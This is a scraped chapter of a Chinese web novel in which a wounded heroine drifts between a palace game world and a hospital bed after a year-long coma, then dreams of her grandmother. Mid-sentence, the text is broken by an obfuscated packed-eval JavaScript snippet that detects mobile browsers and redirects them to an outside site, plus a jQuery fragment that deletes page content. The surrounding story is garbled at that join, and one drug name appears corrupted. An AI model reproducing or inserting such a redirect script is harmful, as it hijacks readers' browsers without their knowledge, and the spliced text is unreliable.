77. 苏醒

作品:《黑莲花手撕宫斗修罗场

    顾矜倚在白玉柱上,冷汗顺着额角滑落。


    那些刺客虽不是她的对手,但她毕竟只是学院派的三脚猫功夫,虽然力大无穷,但到底还是中了几剑。


    她龇牙咧嘴地忍着疼痛,勉强爬到一角。


    远处传来阵阵鸣金之声,她远远望见萧临川翻飞的衣角,知道母亲已将宋熙华带到,此战无虞。


    如今不管萧临川对她有没有情意,顾家舍身救驾已是事实,她也可以放心了。


    神思被不断抽离的感觉愈发强烈,顾矜只觉得眼前的景象像被蒙上了一层薄纱,渐渐模糊不清。


    她的意识像是被撕扯成了碎片,一点一点地飘散在空气中。


    她靠在冰凉的石柱上,感受着大理石传来的丝丝寒意。凉意顺着脊背蔓延,却浇不灭心头那团灼人的火。


    如今两个孩子都有了着落,也算为顾家挣得一点护驾之功。


    倒也没什么好让自己再牵挂的了。


    她这样告诉自己,可心底那个执拗的声音却不肯就此安静。


    哦……还有雪球球这只小狗。


    它奔来就是御狗,回去陪着……他……也好……


    他……


    不过是个NPC罢了。


    能和这样一个完美的"纸片人"逢场作戏,本就是意外之喜,何必在梦醒时分还念念不忘?


    她努力让自己笑得轻松些,可眼眶却不争气地湿了,酸涩的泪意涌上来,模糊了视线。


    没有想到在这个游戏中这么长时间,“不过是个NPC罢了。”这句话竟然成了她挂在嘴边最常说的话。


    不知道是为了骗谁呢?


    萧临川炽热的眉眼又出现在自己眼前。


    他的眼神,他的从容,他笃定又带着几分疏离的骄傲。


    他笑着的模样,仿佛还在耳边低语:“口嫌体直。”


    她记得那一刻自己的脸红得发烫,却又倔强地别过头,不肯承认心动。


    那一次,他第一次揽住她的腰,将她拥入怀中。


    不过是个NPC罢了。


    可她还是沉沦了,义无反顾地沉沦了。


    她想起他们终于坦诚相对的那一刻,想起彼此放下了所有的伪装,所有的坚持,只为了靠近一点,再靠近一点。


    那时候,她以为自己可以不顾一切,可以任性一次,为了他,也为了自己。


    明明只要开口,只要说出那一句话,就能唤醒他所有的记忆,就能让他们回到从前。


    可是她没有。


    她记得自己抬起手,颤抖着,却狠狠落在了他的脸上。


    她看着他的眼神从错愕到痛楚,再到平静,像是看着一扇门缓缓关上,将她永远隔绝在外。


    ……


    对不起啦,萧临川。


    到底没能和你说一句再见呢。


    ……


    恍然间,她似乎又看见他挂着戏谑又宠溺的笑走进自己,将自己揽入怀中。


    是幻觉吗?


    龙涎香混着血腥味包裹住顾矜时,她终于失去了所有意识。


    ……


    消毒水的气味钻入鼻腔,刺激得顾矜喉咙一阵干痒。


    她费力地眨了眨眼,睫毛微微颤动,像是要将沉重的眼皮撑开。


    医院惨白的天花板逐渐在视野中清晰,阳光透过窗帘洒在病床上,温暖却又刺目,让她不得不微微侧过头。


    恍惚间,好像做了一个很长很长的梦。


    病床前的椅子上。一个年轻的女孩坐在那里,齐肩的长发柔顺地垂下,鼻梁上架着一副黑框眼镜,正低头专注地看着手机屏幕。


    黑框眼镜。


    手机。


    她缓缓抬起手,目光落在自己的手背上——一年的昏迷,让她的皮肤呈现出不正常的苍白,手指瘦得只剩下突兀的骨节,手背上还插着针头,输液管连接着吊瓶。


    不再是那双肤若凝脂、指如削葱的手了。


    她回来了。


    “矜……矜姐!你……你醒了啊!”


    一道颤抖的声音打破了静谧,女孩抬起头,眼中带着难以置信的惊喜,连手里的手机都差点掉了下去。


    她慌忙站起身,动作有些笨拙,脸上却迅速染上了一层红晕,和游戏中那个大大咧咧咋咋呼呼的陶贵人判若两人。


    顾矜怔怔地看着她,嘴角微微扯了扯,似乎想要笑,可还没来得及露出笑意,一阵眩晕便猛地袭来。


    她的视线变得模糊,耳边的声音像是被拉远了,整个人仿佛又要坠入黑暗之中。


    “是……你……是……乐乐……”


    顾矜张了张嘴,声音嘶哑得几乎听不清。


    她努力想要说出更多的话,可喉咙像是被什么堵住了一样,连发音都变得困难。


    她甚至觉得自己已经忘记了如何说话。


    乐乐……是她的名字吧?


    她记得这个女孩……她是……谁?


    顾矜的思绪混乱得像是一团乱麻,刚刚清醒的意识仿佛又开始游离。


    她的目光落在乐乐那张微红的脸上,眼前却恍惚浮现出另一个人的身影——那个在梦中陪伴了她很久很久的人。


    乐乐慌忙按下呼叫铃,声音小小,语气里却带着抑制不住的激动:“矜姐,你别急,医生马上就来了!你醒了就好,醒了就好……”


    顾矜只听到匆匆跑来的脚步,实在觉得自己眼皮沉重,脑中像有一根线,又牵着她回到黑暗中。


    意识像是被撕扯成两半,在现实与梦境间来回穿梭。


    “滴……滴……”


    心电监护仪的声响在耳边回荡,节奏均匀却冷冰冰的。


    “韩医生,矜姐她怎么又……”陶乐乐焦急的声音渐渐远去,仿佛隔着一层厚重的纱帘,模糊不清。


    隐约中,一个男子叹了口气,语气稍稍放缓:“她昏迷了一年,神经系统和意识之间的连接还很脆弱,需要好好休息。”


    消毒水的气味依旧在鼻尖萦绕,却渐渐被一缕若有若无的龙涎香取代。针头刺入皮肤的刺痛感悄然消失,取而代之的是丝绸轻柔的触感,冰凉却带着微微的温度。


    “哐嘡——”


    刺耳的瓷器碎裂声突然炸响,像是一记闷雷,将她的意识狠狠拉入另一个世界。


    “庸医!”


    一道低沉而暴怒的声音在殿内炸开,震得顾矜心头一颤,“什么叫令妃只是睡着了?她已经三日未醒,你却说她只是睡着了?”


    帷幔轻轻飘动,烛火摇曳,宫女们的抽泣声断断续续传来。


    她的视线模糊不清,却能感受到压抑的氛围如潮水般涌来,几乎让她无法呼吸。


    “陛下息怒……”


    太医跪在地上,声音发颤,语气中满是惶恐,“臣……臣真的尽力了!令妃娘娘的脉象平稳,确实只是像睡着了一般……但臣无能,无法唤醒……”


    “无能?!”


    那愤怒的声音陡然拔高,随即又是一声巨响,像是桌案被掀翻,紧接着传来一阵凌乱的脚步声。


    顾矜想要看清楚,却发现自己的身体像是被什么禁锢住了,无法移动分毫。


    她只能听到声音,看到模糊的影子,却无法触碰,无法靠近。


    “矜姐的情况很特殊。”韩医生的声音突然闯入,冷不丁地将她拉回另一片模糊的现实,“她的脑电波显示,她的意识还在活动……”


    医院刺目的白光再次刺入眼帘,晃得她眼睛生疼。


    陶乐乐站在病床前,双手紧紧绞着衣角,眼眶红红的,满是焦急与无助。


    “她需要时间……”韩医生的声音渐渐模糊,像是被什么吞噬了一般,逐渐与另一个声音重叠。


    “令妃娘娘她需要时间……”太医的声音也随之而来,带着颤抖与无奈。


    两个世界在她的意识中交织、重叠,声音、画面、气息混杂在一起,分不清现实还是幻觉。


    青花瓷的碎片与心电监护仪的滴答声融为一体,龙涎香与消毒水的气味纠缠不清。


    她想挣脱,却发现自己被困在这片混沌之中,无法动弹。


    所有的一切化作一片浓重的黑暗。


    顾矜感觉自己在坠落,坠入无边无际的深渊。


    四周寂静得可怕,只有那低低的呢喃声在耳边回荡。


    忽然,一道温暖的光芒在黑暗中亮起,柔和却不刺眼,像是春日午后洒落的阳光。


    顾矜缓缓睁开眼,发现自己置身于一间熟悉的老宅中。


    那是小时候奶奶的家,青砖灰瓦,院子里种着一棵桂花树,微风吹过,空气中弥漫着淡淡的花香。


    “听听啊,你回来啦?”一道温柔的声音从身后传来。


    顾矜猛地转身,看到一张熟悉又思念了无数次的面孔——奶奶正坐在院子里的小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092879|156633||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    木桌旁,手里拿着一把蒲扇,笑意盈盈地看着她。


    “奶奶……”


    顾矜的鼻子一酸,眼泪差点夺眶而出。


    她张了张嘴,却发现自己说不出话来,只能怔怔地站在原地。


    奶奶拍了拍身边的椅子,“傻丫头,站着干嘛?快过来坐。”


    顾矜像是被牵引一般,慢慢走过去,在奶奶身边坐下。


    “去哪了?这回回来得可够久的。”


    奶奶一边说着,一边从旁边的小锅里端出一碗冒着热气的桂花米布,放到她面前。


    顾矜怔了一下,喃喃道:“我……我去出了一个很长的差。”


    奶奶闻言,笑着摇了摇头,“瞧你,瘦了这么多,这么拼不爱惜自己的身体啊,快,多吃点。”


    说着,用勺子轻轻搅了搅碗里的米布,递到她手里。


    顾矜低头看着那碗桂花米布,浅黄色的米布上点缀着几朵细碎的桂花,香甜的气味扑鼻而来。


    她舀起一勺放进嘴里,熟悉的甜香瞬间在口腔中弥漫开来,仿佛一下子回到了小时候。


    “奶奶……”她哽咽着开口,“这米布还是和以前一样好吃。”


    “那是当然,”奶奶笑眯眯地看着她,“你小时候就爱吃这个,现在都当妈妈的人啦,还这么爱吃甜。”


    顾矜手里的勺子顿了一下,抬头愣愣地看着奶奶,“当……妈妈的人啦?”


    奶奶点点头,眼神里带着慈爱:“是啊,都有孩子的人了,还像个小孩子一样。”


    顾矜的心猛地一震,脑海中浮现出那个小小的身影——承稷!


    “承稷……”她喃喃地念出这个名字,眼眶瞬间湿润。


    她还有个孩子。


    奶奶看着她,眼神变得柔和而深邃,“矜矜啊,孩子还在等你呢。”


    顾矜的手微微颤抖,眼泪一滴滴落进碗里。


    “你们……你们都在等我啊?”


    愧疚像潮水般一波波涌上心头,作为母亲的本能与内心的渴望在撕扯着她的灵魂,眼前浮现出承稷天真的笑脸,


    她怎么配为人母,她怎么把自己的孩子扔下了?


    “可是……可是……”


    哪有那么多可是?她平身最怨的,就是自幼便被父母抛下,可如今,却换了她来做这刽子手?


    她那么多日,不断说服自己,给孩子们找了好归宿。


    什么样的归宿,比她这个母亲还要好?


    “对……对不起……”


    奶奶轻轻握住她的手,眼神依旧慈爱而温柔,带着她从小到大最熟悉的包容和理解。


    “听听啊,”奶奶轻声说道,“奶奶知道,你有自己的路要走,有自己想做的事。”


    “咱们听听宝贝,可以读万卷书,行万里路,也可以回家做一个好妈妈。你想怎么走,怎么活,奶奶都支持你。”


    顾矜抬起头,泪眼模糊地看着奶奶,嘴唇微微颤动,“可是……承稷……”


    奶奶笑了,笑容里带着无限的安慰和笃定,“奶奶和你说这些,并不是想用承稷绑住你,你要是想出门,那便放心去,奶奶会照顾好承稷。你不用担心,也不用害怕。”


    顾矜的心一阵酸涩,眼泪止不住地往下掉,“可是……我不是……一个好……妈妈……”


    奶奶轻轻拍了拍她的手背:“傻孩子,人生哪有那么多‘一定’和‘必须’呢?”


    “不管你走到哪里,做什么决定,奶奶和承稷都不会怨你。”


    “你要是累了,倦了,随时都可以回来。我们永远在这儿等着你。”


    顾矜的眼泪模糊了视线,奶奶的身影在她眼前渐渐变得模糊,却依然温暖如初。


    那熟悉的桂花香气萦绕在鼻尖,像是奶奶的怀抱,安抚着她内心的所有不安和迷茫。


    “奶奶……”顾矜哽咽着喊了一声,想再抓住奶奶的手,可是下一刻,那温暖的触感忽然消失了。


    眼前的光芒骤然暗淡,耳边传来了刺耳的心电监护仪报警声,夹杂着急促的脚步和低沉的指令声——


    "病人情绪异常波动,血压170/100,心率135!"护士快速报告着生命体征。


    "静脉推注也西泮5毫克。"一个男声果断下达医嘱。


    "遵医嘱,也西泮5毫克,静推。"


    护士清晰地复述确认,熟练地将药剂推入静脉输液管。